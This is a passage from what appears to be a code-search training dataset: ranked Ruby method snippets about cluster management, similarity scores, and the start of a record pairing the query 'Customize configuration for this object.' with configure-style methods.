"def all_clusters\n @clusters ||= redshift.describe_clusters[:clusters].map { |c| c[:cluster_identifier] }\n end",
"def getClusterMetrics\n @admin.getClusterMetrics\n end",
"def name\n @cluster.name\n end",
"def cluster\n ElasticSearchHelpers.memoized_cluster\n end",
"def index\n @clusters = current_account.clusters\n end",
"def summary\n \"#<Client cluster=#{cluster.summary}>\"\n end",
"def cluster_status\n report_metric 'Cluster Status/Partitioned', 'nodes', rmq_manager.nodes.count { |n| Array(n['partitions']).any? }\n report_metric 'Cluster Status/Stopped', 'nodes', rmq_manager.nodes.count { |n| !n['running'] }\n end",
"def cluster( name )\n\n return ::Module::Cluster.instance_controller( self ).cluster( name )\n \n end",
"def cluster_list\n super\n end",
"def star_cluster; end",
"def cluster_config\n Settings.clusters[name]\n end",
"def generate_lvs_nodes(c)\n dcnut = Datacenter.find_by_name(\"nut\")\n svc = c.cluster_nodes.map do |cn|\n if cn.node.is_server? and cn.node.datacenter == dcnut then\n [ip(cn.ip_address), ip(cn.node.mgmt_ip_address), dec2ip(cn.cluster.fw_mark), cn.node.hostname ] \n else\n nil\n end\n end.compact\n#########################################################33\nend",
"def db_cluster_members\n data[:db_cluster_members]\n end",
"def cloud_desc\n if @config['flavor'] == \"EKS\"\n resp = MU::Cloud::AWS.eks(region: @config['region'], credentials: @config['credentials']).describe_cluster(\n name: @mu_name\n )\n resp.cluster\n else\n resp = MU::Cloud::AWS.ecs(region: @config['region'], credentials: @config['credentials']).describe_clusters(\n clusters: [@mu_name]\n )\n resp.clusters.first\n end\n end",
"def cluster_servers\n endpoint.config.nodes.map { |h| \"#{h[:host]}:#{h[:port]}\" }\n end",
"def cluster_create_time\n data[:cluster_create_time]\n end",
"def cluster_txt\n File.readlines(File.join(repo_dir, 'cluster.txt'))\n end",
"def get_cluster_by_key\n return @cluster_by\n end",
"def show_summary(compute_ip_to_cloud_domain_map, clusterstatus_resp_obj)\n if (@cloud_provider != \"azure\")\n cloud_ip_cores = Hash.new\n @zone_to_compute_ip_map.each { |cloud_name, computes|\n cloud_ip_cores[cloud_name] = Hash.new\n computes.each { |ip|\n cloud_ip_cores[cloud_name][ip] = Array.new\n }\n }\n collections = clusterstatus_resp_obj[\"cluster\"][\"collections\"]\n collections.each { |coll_name, coll_info|\n shards = coll_info[\"shards\"]\n shards.each { |shard_name, shard_info|\n replicas = shard_info[\"replicas\"]\n replicas.each { |replica_name, replica_info|\n node_name = replica_info[\"node_name\"]\n ip = node_name.slice(0, node_name.index(':'))\n cloud_domain = compute_ip_to_cloud_domain_map[ip]\n cloud_id = cloud_domain.split('___')[0]\n cloud_name = @cloud_id_to_name_map[cloud_id]\n cloud_ip_cores[cloud_name][ip].push(coll_name + \", \" + shard_name + \", \" + replica_name)\n }\n }\n }\n cloud_numcores_map = Hash.new\n cluster_cores = 0\n cloud_ip_cores.each { |cloud_name, cloud_info|\n core_per_cloud = 0\n cloud_info.each { |ip, cores|\n core_per_cloud = core_per_cloud + cores.length\n }\n cluster_cores = cluster_cores + core_per_cloud\n cloud_numcores_map[cloud_name] = core_per_cloud\n }\n # Show both the summary and the detailed information as both are helpful for verification.\n # Ex: Verify cloud_numcores_map => {\"prod-cdc6\":3,\"prod-cdc5\":3}\n Chef::Log.info(\"Verify cloud_numcores_map => #{cloud_numcores_map.to_json}\")\n # Ex: Verify cloud_ip_cores => {\"prod-cdc5\":{\"ip_11\":[\"qw, shard1, core_node3\"],\"ip_22\":[\"qw, shard2, core_node6\"],\"ip_33\":[qw, shard2, core_node5]},\n # \"prod-cdc6\":{\"ip21\":[\"qw, shard1, core_node1\"],\"ip22\":[\"qw, shard1, core_node2\"],\"ip23\":[\"qw, shard2, core_node4\"]}\n Chef::Log.info(\"Verify cloud_ip_cores => #{cloud_ip_cores.to_json}\")\n\n else\n Chef::Log.info(\"Show summary API is not implemented for Azure Cloud Provider yet.\")\n end\n end",
"def manage_cluster\n @nodes = Node.find(:all)\n end",
"def cloud_platform_cluster_body(**options)\n {\n \"name\": options[:name] || 'string',\n \"description\": options[:description] || 'string',\n \"initialNodeCount\": options[:initialNodeCount] || 'number',\n \"masterAuth\": {\n \"username\": options[:username] || 'string',\n \"password\": options[:password] || 'string',\n \"clusterCaCertificate\": options[:clusterCaCertificate] || load_sample_cert,\n \"clientCertificate\": options[:clientCertificate] || 'string',\n \"clientKey\": options[:clientKey] || 'string'\n },\n \"loggingService\": options[:loggingService] || 'string',\n \"monitoringService\": options[:monitoringService] || 'string',\n \"network\": options[:network] || 'string',\n \"clusterIpv4Cidr\": options[:clusterIpv4Cidr] || 'string',\n \"subnetwork\": options[:subnetwork] || 'string',\n \"enableKubernetesAlpha\": options[:enableKubernetesAlpha] || 'boolean',\n \"labelFingerprint\": options[:labelFingerprint] || 'string',\n \"selfLink\": options[:selfLink] || 'string',\n \"zone\": options[:zone] || 'string',\n \"endpoint\": options[:endpoint] || 'string',\n \"initialClusterVersion\": options[:initialClusterVersion] || 'string',\n \"currentMasterVersion\": options[:currentMasterVersion] || 'string',\n \"currentNodeVersion\": options[:currentNodeVersion] || 'string',\n \"createTime\": options[:createTime] || 'string',\n \"status\": options[:status] || 'RUNNING',\n \"statusMessage\": options[:statusMessage] || 'string',\n \"nodeIpv4CidrSize\": options[:nodeIpv4CidrSize] || 'number',\n \"servicesIpv4Cidr\": options[:servicesIpv4Cidr] || 'string',\n \"currentNodeCount\": options[:currentNodeCount] || 'number',\n \"expireTime\": options[:expireTime] || 'string'\n }\n end",
"def cluster_by\n return @cluster_by\n end",
"def get_cluster\n if params[:jobcluster] && (OODClusters[params[:jobcluster]] || params[:jobcluster] == 'all')\n params[:jobcluster]\n end\n end",
"def cluster(name = context&.cluster)\n named_cluster(name)&.cluster\n end",
"def data_center\n fetch('games.final_fantasy_xiv.data_centers')\n end",
"def initialize(cluster)\n @oodClustersAdapter = nil\n @server = \"/usr/bin\"\n @cluster_id = cluster.id\n @cluster_title = cluster.metadata.title || cluster.id.titleize\n self\n end",
"def generate_lvs_cluster(c)\n svc = c.services.map { |s|\n [s.name, \"#{s.ha_protocol}://\", s.ha_hostname, s.localport ].join(', ') \n }\n [dec2ip(c.fw_mark), c.description, svc.map { |s| \"(#{ s })\" }.join('; ') ]\nend",
"def cluster\n OodAppkit.clusters[cluster_id] || raise(ClusterNotFound, \"Session specifies nonexistent '#{cluster_id}' cluster id.\")\n end",
"def stats(params = {})\n response = client.get \"/_cluster/stats\", params.merge(action: \"cluster.stats\", rest_api: \"cluster.stats\")\n response.body\n end",
"def nodetool_status()\n out = `/opt/cassandra/bin/nodetool status`\n raise 'nodetool status failed' if $? != 0\n rows = out.split(\"\\n\")\n hash = {}\n dc_exp = /Datacenter: (.*)/\n #vnode\n #-- Address Load Tokens Owns Host ID Rack\n #non-vnode\n #-- Address Load Owns Host ID Token Rack\n #node_ex = /^(?<status>[UD\\?][NLJM]) +(?<address>(?:[0-9]{1,3}\\.){3}[0-9]{1,3}) +(?<load>(\\d+\\.?\\d* (TB|GB|MB|KB|bytes))|\\?) +(?<tokens>\\d+) +(?<owns>(\\d+\\.?\\d*%|\\?)) +(?<hostid>[a-z0-9\\-]+) +(?<rack>.*)$/\n node_ex = /^([UD\\?][NLJM]) +((?:[0-9]{1,3}\\.){3}[0-9]{1,3}) +((?:\\d+\\.?\\d* (?:TB|GB|MB|KB|bytes))|\\?) +(\\d+) +(\\d+\\.?\\d*%|\\?) +([a-z0-9\\-]+) +(.*)$/\n datacenter = nil\n rows.each do |row|\n m = dc_exp.match(row)\n if m\n datacenter = m[1]\n next\n end\n m = node_ex.match(row)\n next if m == nil\n node = {'datacenter' => datacenter}\n hash[m[2]] = node\n i = 0\n %w(status address load tokens owns hostid rack).each do |name|\n node[name] = m[i += 1]\n end\n # m.names.each do |name|\n # node[name] = m[name]\n # end\n end\n return hash\n end",
"def gather_zk_ips(cluster)\n zk_ips = ''\n cluster['masters'].each_with_index do |master, i|\n if master['run'].include? 'zookeeper'\n if zk_ips != ''\n zk_ips = zk_ips + \",\"\n end\n zk_ips = zk_ips + cluster['master_ipbase']+\"#{10+i}\"\n end\n end\n return zk_ips\nend",
"def ClusterType(hostid)\n onblock(:h, hostid) do | host |\n host.info!\n host.to_hash['HOST']['TEMPLATE']['HYPERVISOR']\n end\n end",
"def system_host\n monitor_str = cluster_info\n monitor_str += hosts_info\n monitor_str += customizations_info\n monitor_str += datastore_info\n monitor_str += vms_info('wild')\n monitor_str += nsx_info_vcenter\n monitor_str += nsx_info\n\n monitor_str\n end",
"def measure_cluster_status cluster_name, private_ip\n begin\n connection = Net::HTTP.new(private_ip, 8080) # FIXME port\n request = Net::HTTP::Get.new('/status/cluster', 'Accept' => 'text/xml')\n response = connection.request(request)\n return false unless response.code.to_i == 200\n \n data = Crack::XML.parse(response.body)\n cluster_status = data['ClusterStatus']\n dead_nodes = cluster_status['DeadNodes'] ? cluster_status['DeadNodes']['Node'] : []\n live_nodes = cluster_status['LiveNodes']['Node']\n rescue NoMethodError, SocketError, REXML::ParseException, Errno::ECONNREFUSED => e\n # puts \"#{e.class} -- #{e.message}\"\n # puts e.backtrace\n return false\n end\n\n write({\n :hostname => \"#{cluster_name}-hbase\",\n :hostgroup => self.class::CLUSTER_HOSTGROUPS,\n :application => self.class::CLUSTER_APPLICATIONS,\n :templates => self.class::CLUSTER_TEMPLATES\n }) do |d|\n d << ['requests', cluster_status['requests']]\n d << ['regions', cluster_status['regions']]\n d << ['load', cluster_status['averageLoad']]\n d << ['nodes.dead', dead_nodes.size]\n d << ['nodes.alive', live_nodes.size]\n end\n measure_cluster_tables(cluster_name, data)\n measure_cluster_nodes(cluster_name, live_nodes)\n true\n end",
"def collectClusters(rf, db)\n\trf.childEntity.grep(RbVmomi::VIM::Datacenter).each do |dc|\n\t\tprogressbar = ProgressBar.create(:title => \"Clusters\", :format => '%t |%b>>%i| %p%% %a')\n\t\tprogressbar.total = counter(dc, \"c\")\n\t\tdc.hostFolder.childEntity.each do |cluster|\n\t\t\tdb.select(1)\n\t\t\tdb.hset(\"#{cluster.name}\", \"Status\", \"#{cluster.summary.overallStatus}\") \n\t\t\tdb.hset(\"#{cluster.name}\", \"NumberHosts\", \"#{cluster.summary.numHosts}\")\n\t\t\tdb.hset(\"#{cluster.name}\", \"EffectiveHosts\", \"#{cluster.summary.numEffectiveHosts}\") \n\t\t\tdb.hset(\"#{cluster.name}\", \"CPUtotal\", \"#{cluster.summary.totalCpu}\")\n\t\t\tdb.hset(\"#{cluster.name}\", \"EffectiveCPU\", \"#{cluster.summary.effectiveCpu}\")\n\t\t\tdb.hset(\"#{cluster.name}\", \"MemTotal\", \"#{cluster.summary.totalMemory}\")\n\t\t\tdb.hset(\"#{cluster.name}\", \"EffectiveMem\", \"#{cluster.summary.effectiveMemory}\")\n\t\t\tprogressbar.increment\n\t\tend\n\tend\nend",
"def to_h\n {\n servers: @servers,\n hpc_cluster: @hpc_cluster\n }\n end",
"def list_clusters(opts = {})\n @transporter.read(:GET, '/1/clusters', {}, opts)\n end",
"def getClusterWiseCapacity(envir, zone)\n data = Array.new\n zonedet={\n 'GN7_Prod1'=>'b7fa0802-79ff-4481-b68c-d3541315fee1',\n 'GN7_Dev1' => '7c1b8a2e-9107-4a0c-ba88-c483074d074b',\n 'CN7_Prod1'=>'db8149d8-ebd9-4aa5-97b0-587739e27aa2',\n 'CN7_Dev1' => '9e523e68-35c3-4ec8-be83-0415c25a7bba'\n }\n \n info1 = {'0' => 'Memory', '1' => 'CPU', '2' => 'Storage', '3' => 'Shared Disk', '9' => 'Local Disk'}\n\n cinfo=\"######## Compliant Cluster Usage Information ########\\n\"\n cinfo=cinfo + \"Cluster Name ---- CPU ---- Memory ---- Shared Disk ---- Local Disk \\n\"\n ccpuinfo=\"######## Compliant CPU ########\\n\"\n cmeminfo=\"######## Compliant Memory ########\\n\"\n csharedinfo=\"######## Compliant Shared Disk ########\\n\"\n clocalinfo=\"######## Compliant Local Disk ########\\n\"\n\n ginfo=\"######## General Cluster Usage Information ########\\n\"\n ginfo=ginfo + \"Cluster Name ---- CPU ---- Memory ---- Shared Disk ---- Local Disk \\n\"\n gcpuinfo=\"######## General CPU ########\\n\"\n gmeminfo=\"######## General Memory ########\\n\"\n gsharedinfo=\"######## General Shared Disk ########\\n\"\n glocalinfo=\"######## General Local Disk ########\\n\"\n\n \n if envir == 'prod' or envir == 'dev'\n if envir == 'prod'\n compzoneid=zonedet['CN7_Prod1']\n genzoneid=zonedet['GN7_Prod1']\n elsif envir == 'dev'\n compzoneid=zonedet['CN7_Dev1']\n genzoneid=zonedet['GN7_Dev1']\n end\n\n cmd=\"cloudstack -p compliant listClusters zoneid=#{compzoneid} showcapacities=true\"\n stdin1, stdout1, stderr1, wait_thr1 = Open3.popen3(\"#{cmd}\")\n obj = JSON.parse(stdout1.read.chomp)\n\n cc=obj['listclustersresponse']['count']\n\n for i in 0...cc\n cmem,ccpu,cshd,cloc=0,0,0,0 \n cname=obj['listclustersresponse']['cluster'][i]['name']\n array = obj['listclustersresponse']['cluster'][i]['capacity']\n array.each {|hash|\n tt=hash['type']\n if tt == 0\n cmeminfo = cmeminfo + \"#{cname} ----- #{hash['percentused']} \\n\"\n cmem = hash['percentused']\t\n elsif tt == 1\n ccpuinfo = ccpuinfo + \"#{cname} ----- #{hash['percentused']} \\n\"\n ccpu=hash['percentused'] \n elsif tt == 3\n csharedinfo = csharedinfo + \"#{cname} ----- #{hash['percentused']} \\n\"\n \tcshd=hash['percentused']\n elsif tt == 9\n clocalinfo = clocalinfo + \"#{cname} ----- #{hash['percentused']} \\n\"\n \tcloc=hash['percentused']\n end \n }\n cinfo = cinfo + \"#{cname} ---- #{ccpu} ---- #{cmem} ---- #{cshd} ---- #{cloc} \\n\"\n end\n\n cmd1=\"cloudstack -p general listClusters zoneid=#{genzoneid} showcapacities=true\"\n stdin1, stdout1, stderr1, wait_thr1 = Open3.popen3(\"#{cmd1}\")\n obj1 = JSON.parse(stdout1.read.chomp)\n\n cc1=obj1['listclustersresponse']['count']\n\n for i in 0...cc1\n\t \tgmem,gcpu,gshd,gloc=0,0,0,0 \n \tcname=obj1['listclustersresponse']['cluster'][i]['name']\n \tarray1 = obj1['listclustersresponse']['cluster'][i]['capacity']\n \tarray1.each {|hash|\n \t tt1=hash['type']\n if tt1 == 0\n \tgmeminfo = gmeminfo + \"#{cname} ----- #{hash['percentused']} \\n\"\n \tgmem = hash['percentused']\n elsif tt1 == 1\n \tgcpuinfo = gcpuinfo + \"#{cname} ----- #{hash['percentused']} \\n\"\n \tgcpu = hash['percentused']\n elsif tt1 == 3\n \tgsharedinfo = gsharedinfo + \"#{cname} ----- #{hash['percentused']} \\n\"\n \tgshd = hash['percentused']\n elsif tt1 == 9\n \tglocalinfo = glocalinfo + \"#{cname} ----- #{hash['percentused']} \\n\"\n \tgloc = hash['percentused']\n end\n \t}\n ginfo = ginfo + \"#{cname} ---- #{gcpu} ---- #{gmem} ---- #{gshd} ---- #{gloc} \\n\"\n end\n\n data[0]=cmeminfo\n data[1]=ccpuinfo\n data[2]=csharedinfo\n data[3]=csharedinfo\n\n data[4]=gmeminfo\n data[5]=gcpuinfo\n data[6]=gsharedinfo\n data[7]=gsharedinfo\n\n data[8]=cinfo\n data[9]=ginfo\n\n return data\n else\n puts \"Please pass prod|dev to script\"\n end\n end",
"def show\n @galactic_cluster = GalacticCluster.find(params[:id])\n end",
"def cluster_ha_state\n super\n end",
"def fetch_cluster_utilization()\n logger.debug(\"Fetching Memory utilization for Cluster #{self.mob.name}\")\n properties = @client.cloud_searcher.get_properties(mob, Vim::ClusterComputeResource, 'summary')\n raise \"Failed to get utilization for cluster'#{self.mob.name}'\" if properties.nil?\n\n compute_resource_summary = properties[\"summary\"]\n return compute_resource_summary.effective_memory\n end",
"def healthy_cluster_config\n {\n 'http://127.0.0.1:4001' => 'http://127.0.0.1:4001',\n 'http://127.0.0.1:4002' => 'http://127.0.0.1:4001',\n 'http://127.0.0.1:4003' => 'http://127.0.0.1:4001'\n }\n end",
"def cluster(cluster)\n features = {\n 'vsan' => true,\n 'enableDrs' => true,\n 'enableHA' => true,\n }\n\n return cluster.merge(features)\nend",
"def nodetool_info()\n out = `/opt/cassandra/bin/nodetool info`\n if $? == 0\n props = {}\n out.split(\"\\n\").each do |line|\n p = line.split(':')\n props[p.first.strip] = p.last.strip\n end\n return props\n else\n Chef::Log.warn(\"nodetool info failed with #{out}\")\n return nil\n end\n end",
"def clusterstatus(as_json: false)\n # don't cache it\n status = Utils.solr_request(connection, 'CLUSTERSTATUS')\n if as_json\n status.to_json\n else\n status\n end\n end",
"def get_cluster(name)\n cluster_id = get_cluster_id(name)\n\n host_api = VSphereAutomation::VCenter::HostApi.new(api_client)\n raise_if_unauthenticated host_api, \"checking for cluster `#{name}`\"\n\n hosts = host_api.list({ filter_clusters: cluster_id, connection_states: \"CONNECTED\" }).value\n filter_maintenance!(hosts)\n raise_if_missing hosts, format(\"Unable to find active hosts in cluster `%s`\", name)\n\n cluster_api = VSphereAutomation::VCenter::ClusterApi.new(api_client)\n cluster_api.get(cluster_id).value\n end",
"def measure_cluster_health cluster_name, private_ip\n begin\n cluster_health = JSON.parse(open(es_url(private_ip, '_cluster', 'health')).read)\n rescue SocketError, OpenURI::HTTPError, JSON::ParserError, Errno::ECONNREFUSED => e\n # This node may not be running a webnode...\n return false\n end\n write({\n :hostname => \"#{cluster_name}-elasticsearch\",\n :hostgroup => self.class::CLUSTER_HOSTGROUPS,\n :templates => self.class::CLUSTER_TEMPLATES,\n :application => self.class::CLUSTER_APPLICATIONS\n }) do |d|\n d << ['status', cluster_health['status'] ]\n d << ['nodes.total', cluster_health['number_of_nodes'] ]\n d << ['nodes.data', cluster_health['number_of_data_nodes'] ]\n d << ['shards.active', cluster_health['active_shards'] ]\n d << ['shards.relocating', cluster_health['relocating_shards'] ]\n d << ['shards.unassigned', cluster_health['unassigned_shards'] ]\n d << ['shards.initializing', cluster_health['initializing_shards'] ]\n end\n true\n end",
"def get_cluster instance_id, cluster_id\n instances.get_cluster name: cluster_path(instance_id, cluster_id)\n end",
"def server_info()\n #This is a stub, used for indexing\n end",
"def has_cluster?( name )\n \n return ::Module::Cluster.instance_controller( self ).has_cluster?( name )\n \n end",
"def help_health_data\n\t\t__elasticsearch__.client.cluster.health\n\tend",
"def execute(query = {})\n unless query[:region] && query[:cluster_name]\n detected = autodetect_cluster_or_throw\n [:region, :cluster_name].each do |key|\n query[key] = detected[key] if query[key].nil?\n end\n end\n\n cluster = @finder.find(query)\n @stdout.puts(JSON.pretty_generate(cluster.to_hash))\n end",
"def __get_nodes\n JSON.parse(Net::HTTP.get(URI(\"#{__cluster_url}/_nodes/process\")))\n end",
"def __cluster_url\n if '_local_' == arguments[:network_host]\n \"http://localhost:#{arguments[:port]}\"\n else\n \"http://#{arguments[:network_host]}:#{arguments[:port]}\"\n end\n end",
"def build_cluster\n ::Couchbase::Cluster.connect(\n @couchbase_options[:connection_string],\n ::Couchbase::Options::Cluster(authenticator: ::Couchbase::PasswordAuthenticator.new(\n @couchbase_options[:username], @couchbase_options[:password]\n ))\n )\n end",
"def hostnames\n @machines.each_with_index.map do |_, number|\n \"#{::Chef.node.run_state['fragments']['cluster']['name']}-#{number}\"\n end\n end",
"def cluster_size\n `curl -s -i -L \\\n -u #{Conn[:creds]} \\\n -H 'content-type:application/json' \\\n #{[Conn[:host_api], 'nodes'].join('/')} | grep -o \"contexts\" | wc -l`\n end",
"def cluster_ids\n []\n end",
"def get_anodes()\n nodes = [] ; 1.upto(32){|i|nodes << \"compute-0-#{i}\"}\n run_cluster(nodes, \"uptime\").map{|e|[e[0], e[1].scan(/\\d\\.\\d\\d/)[0].to_f, e[2]]}.sort_by{|e|e[1]} \nend",
"def cluster_boot_location\n super\n end",
"def hash\n [cluster, options].hash\n end",
"def hash\n [cluster, options].hash\n end",
"def cluster_count\n\t\tcase @header.type\n\t\twhen :fat32; @fat.fat.length/4\n\t\twhen :fat16; @fat.fat.length/2\n\t\twhen :fat12; @fat.fat.length*2/3\n\t\tend - 2\n\tend",
"def find(name, config, datacenter_name)\n cluster_mob = cluster_mobs[name]\n raise \"Can't find cluster '#{name}'\" if cluster_mob.nil?\n\n cluster_properties = @client.cloud_searcher.get_properties(\n cluster_mob, VimSdk::Vim::ClusterComputeResource,\n Cluster::PROPERTIES, :ensure_all => true\n )\n raise \"Can't find properties for cluster '#{name}'\" if cluster_properties.nil?\n\n Cluster.new(\n config,\n cluster_properties,\n @client,\n datacenter_name,\n )\n end",
"def gen_node_infos(cluster_yml)\n\n master_n = 1\n master_mem = cluster_yml['master_mem']\n master_cpus = cluster_yml['master_cpus']\n\n slave_n = cluster_yml['slave_n']\n slave_mem = cluster_yml['slave_mem']\n slave_cpus = cluster_yml['slave_cpus']\n\n master_ipbase = cluster_yml['master_ipbase']\n slave_ipbase = cluster_yml['slave_ipbase']\n\n master_infos = (1..master_n).map do |i|\n { :hostname => \"master#{i}\",\n :ip => master_ipbase + \"#{10+i}\",\n :mem => master_mem,\n :cpus => master_cpus\n }\n end\n\n slave_infos = (1..slave_n).map do |i|\n { :hostname => \"slave#{i}\",\n :ip => slave_ipbase + \"#{10+i}\",\n :mem => slave_mem,\n :cpus => slave_cpus\n }\n end\n\n analytics_node = cluster_yml['analytics_node']\n analytics_mem = cluster_yml['analytics_mem']\n analytics_cpus = cluster_yml['analytics_cpus']\n\n analytics_info = {\n :node => analytics_node,\n :mem => analytics_mem,\n :cpus => analytics_cpus\n }\n\n\n return { :master => master_infos, :slave=>slave_infos, :analytics=>analytics_info }\nend",
"def gen_node_infos(cluster_yml)\n master_n = 1\n master_mem = cluster_yml['master_mem']\n master_cpus = cluster_yml['master_cpus']\n slave_n = cluster_yml['slave_n']\n slave_mem = cluster_yml['slave_mem']\n slave_cpus = cluster_yml['slave_cpus']\n master_ipbase = cluster_yml['master_ipbase']\n slave_ipbase = cluster_yml['slave_ipbase']\n\n master_infos = (1..master_n).map do |i|\n { :hostname => \"master#{i}\",\n :ip => master_ipbase + \"#{10+i}\",\n :mem => master_mem,\n :cpus => master_cpus\n }\n end\n slave_infos = (1..slave_n).map do |i|\n { :hostname => \"slave#{i}\",\n :ip => slave_ipbase + \"#{10+i}\",\n :mem => slave_mem,\n :cpus => slave_cpus\n }\n end\n\n return { :master => master_infos, :slave=>slave_infos }\nend",
"def node_names\n @cluster.nodes.map(&:name)\n end",
"def get_cluster(arr, clust)\n\t\tcluster_hash = {}\n\t\tarr.each do |strain|\n\t\t\tcluster_hash[strain.name] = strain.clusters[clust]\n\t\tend\n\t\tcluster_hash\n\tend",
"def size\n\t\[email protected]\n\tend",
"def fetch_cluster_data\n env = release_env(last_release(@project))\n env.cluster_deploy_groups.each do |cdg|\n cdg.cluster.client.get_pods(namespace: cdg.namespace, label_selector: \"project_id=#{@project.id}\").each do |pod|\n update_rc_pods(Kubernetes::Api::Pod.new(pod))\n end\n end\n end",
"def cost_centers\n\n end",
"def index\n @galactic_clusters = GalacticCluster.all\n end",
"def cluster name\n Cluster.receive connection.resource(:get, \"clusters/#{name}\")\n end",
"def clusterStatusV6(host_name,port,collection_name,path=\"/solr/admin/zookeeper\",params=\"detail=true&path=/collections/\")\n path = \"#{path}?#{params}\"+\"#{collection_name}/state.json&wt=json\"\n Chef::Log.info(\" HostName = \" + host_name + \", Port = \" + port + \", Path = \" + path)\n http = Net::HTTP.new(host_name, port)\n req = Net::HTTP::Get.new(path)\n unless !SolrAuth::AuthUtils.auth_enabled?\n admin_creds = SolrAuth::AuthUtils.get_solr_admin_credentials\n req.basic_auth(admin_creds['username'], admin_creds['password'])\n end\n response = http.request(req)\n if response != nil then\n return JSON.parse(response.body())\n end\n raise StandardError, \"empty response\"\n end",
"def create_etc_hosts(cluster)\n etc_file = open(\"./export/.etc_hosts\", \"w\")\n etc_file.write(\"127.0.0.1 localhost\\n\")\n \n cluster.each do |role, member_list|\n member_list.each do |member_info|\n etc_file.write(\"#{member_info['contiv_control_ip']} #{member_info['name']}\\n\")\n end\n end\n\n etc_file.close\nend",
"def datastore_info\n dc = @cluster.datacenter\n ds = dc.datastore_folder\n\n ds_info = ''\n\n ds.fetch!.each do |ref, _ds|\n ds_info << \"VCENTER_DS_REF=\\\"#{ref}\\\"\\n\"\n end\n\n ds_info\n end",
"def sshhost\n \"#{script.cluster}.osc.edu\"\n end",
"def clusters_in_maint(clusters)\n maint_clusters = []\n\n # fetch the last 2 hours of events for each cluster\n clusters.each do |cluster_name|\n events_record = redshift.describe_events(start_time: (Time.now - 7200).iso8601, source_type: 'cluster', source_identifier: cluster_name)\n\n next if events_record[:events].empty?\n\n # if the last event is a start maint event then the cluster is still in maint\n maint_clusters.push(cluster_name) if events_record[:events][-1][:event_id] == 'REDSHIFT-EVENT-2003'\n end\n maint_clusters\n end"
] | [
"0.783914",
"0.7342468",
"0.7267701",
"0.7236756",
"0.69630283",
"0.69404453",
"0.6911999",
"0.68401474",
"0.683745",
"0.68071854",
"0.6804641",
"0.6697523",
"0.6693067",
"0.6671251",
"0.6616565",
"0.66137177",
"0.65780985",
"0.6563077",
"0.6559855",
"0.6530973",
"0.6498104",
"0.64532864",
"0.64239377",
"0.64122933",
"0.63983405",
"0.6395456",
"0.6394203",
"0.6385848",
"0.63799584",
"0.6369399",
"0.63503057",
"0.63359845",
"0.62742144",
"0.6263902",
"0.6259652",
"0.62568736",
"0.6247879",
"0.61675787",
"0.6159116",
"0.6152465",
"0.61451554",
"0.6142763",
"0.6138969",
"0.6119467",
"0.61093736",
"0.6106646",
"0.6089062",
"0.60818857",
"0.6076623",
"0.6060581",
"0.60403126",
"0.60363626",
"0.60245776",
"0.60200834",
"0.6017121",
"0.59934247",
"0.59874946",
"0.59749854",
"0.5968792",
"0.5948497",
"0.59435993",
"0.59276414",
"0.592703",
"0.59204817",
"0.5912927",
"0.5891862",
"0.5885766",
"0.58583164",
"0.58282006",
"0.5822959",
"0.58170307",
"0.581611",
"0.58122665",
"0.58122617",
"0.58122283",
"0.57997143",
"0.5799711",
"0.57991916",
"0.5798014",
"0.5796437",
"0.57912934",
"0.5763599",
"0.5760426",
"0.5760426",
"0.5756697",
"0.5752223",
"0.5751822",
"0.57455623",
"0.5737995",
"0.5737466",
"0.5731695",
"0.5726552",
"0.5720707",
"0.57131594",
"0.5709939",
"0.57089996",
"0.5708435",
"0.5706983",
"0.5706338",
"0.5703714"
] | 0.6409815 | 24 |
Customize configuration for this object. | def configure
yield self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def configure(conf)\n super\n end",
"def configure opts\n configuration.merge!(opts)\n end",
"def configure\n\t\t\tyield configuration\n\t\tend",
"def config(&block)\n yield(self)\n end",
"def configure(config={})\n config.each do |(key, val)|\n self.config[key] = val\n end\n end",
"def reconfigure(overrides={})\n config.merge!(overrides)\n self\n end",
"def configure(root_config)\n super(root_config)\n end",
"def configure\n end",
"def configure(root_config)\n super(root_config)\n end",
"def options\n original_options = super\n defaults = Thor::CoreExt::HashWithIndifferentAccess.new(\n {\n width: 72,\n count: 200,\n },\n )\n\n config_path = File.expand_path(ENV.fetch('AUGURY_CFG_PATH', '~/.augury.yml'))\n if File.file?(config_path)\n config_options = Thor::CoreExt::HashWithIndifferentAccess.new(YAML.load_file(config_path) || {})\n defaults = defaults.merge(config_options)\n end\n\n # Enforce implied options\n defaults[:links] = true if original_options[:remove_links] || defaults[:remove_links]\n\n Thor::CoreExt::HashWithIndifferentAccess.new(defaults.merge(original_options))\n end",
"def config\n yield @@config_options\n end",
"def configure\n yield configuration\n end",
"def configure\n yield configuration\n end",
"def configure\n yield configuration\n end",
"def configure\n yield configuration\n end",
"def config\n options.to_smash.deep_merge(opts.to_smash)\n end",
"def config\n options.to_smash.deep_merge(opts.to_smash)\n end",
"def config=(config)\n raise ::ArgumentError, 'config must be a Hash' unless config.is_a?(Hash)\n\n @class_name = config[:class_name] if config[:class_name]\n\n @rename_attrs = config[:rename_attrs] if config[:rename_attrs]\n\n if config[:exclude_attrs_on_create]\n @exclude_attrs_on_create = config[:exclude_attrs_on_create]\n end\n\n if config[:exclude_attrs_on_update]\n @exclude_attrs_on_update = config[:exclude_attrs_on_update]\n end\n\n @associations = config[:associations] if config[:associations]\n\n super(*configs)\n end",
"def options \n self.merge!(@config.opts)\n end",
"def configure\n yield config\n end",
"def configure\n yield config\n end",
"def options\n original_options = super\n user_defaults = @config\n user_defaults.merge(original_options)\n end",
"def configure_with(config_options)\n config_options.each { |attribute, value| eval \"self.#{attribute} = #{value}\" }\n end",
"def configure\n\t\t\tyield self\n\t\tend",
"def configure\n\t\t\tyield self\n\t\tend",
"def config=(config); end",
"def configure\n yield(self)\n end",
"def configure\n yield settings\n end",
"def config\n yield self\n end",
"def config\n yield self\n end",
"def config\n yield self\n end",
"def configure\n yield(self)\n end",
"def configurations; end",
"def set_config(config)\n\t\tend",
"def config\n self\n end",
"def initialize(config = {})\n super config\n end",
"def configure\n yield configuration\n end",
"def configure\n yield configuration\n end",
"def configure\n yield configuration\n end",
"def configure\n yield configuration\n end",
"def configure\n yield configuration\n end",
"def configure\n yield configuration\n end",
"def configure\n yield configuration\n end",
"def configuration\n self\n end",
"def initialize\n @config = DEFAULT_CONFIG.deep_dup\n end",
"def configuration_name\n super\n end",
"def configure(&block)\n default_values!\n yield self\n end",
"def add_config_inheritance!\n class_eval do\n def self.inherited(subclass)\n subclass.class_eval do\n class << self\n attr_accessor :sorcery_config\n end\n end\n # Pass parent config to subclass\n subclass.sorcery_config = sorcery_config\n super\n end\n end\n end",
"def configure\n yield(config)\n end",
"def configure\n yield self\n end",
"def configure\n yield self\n end",
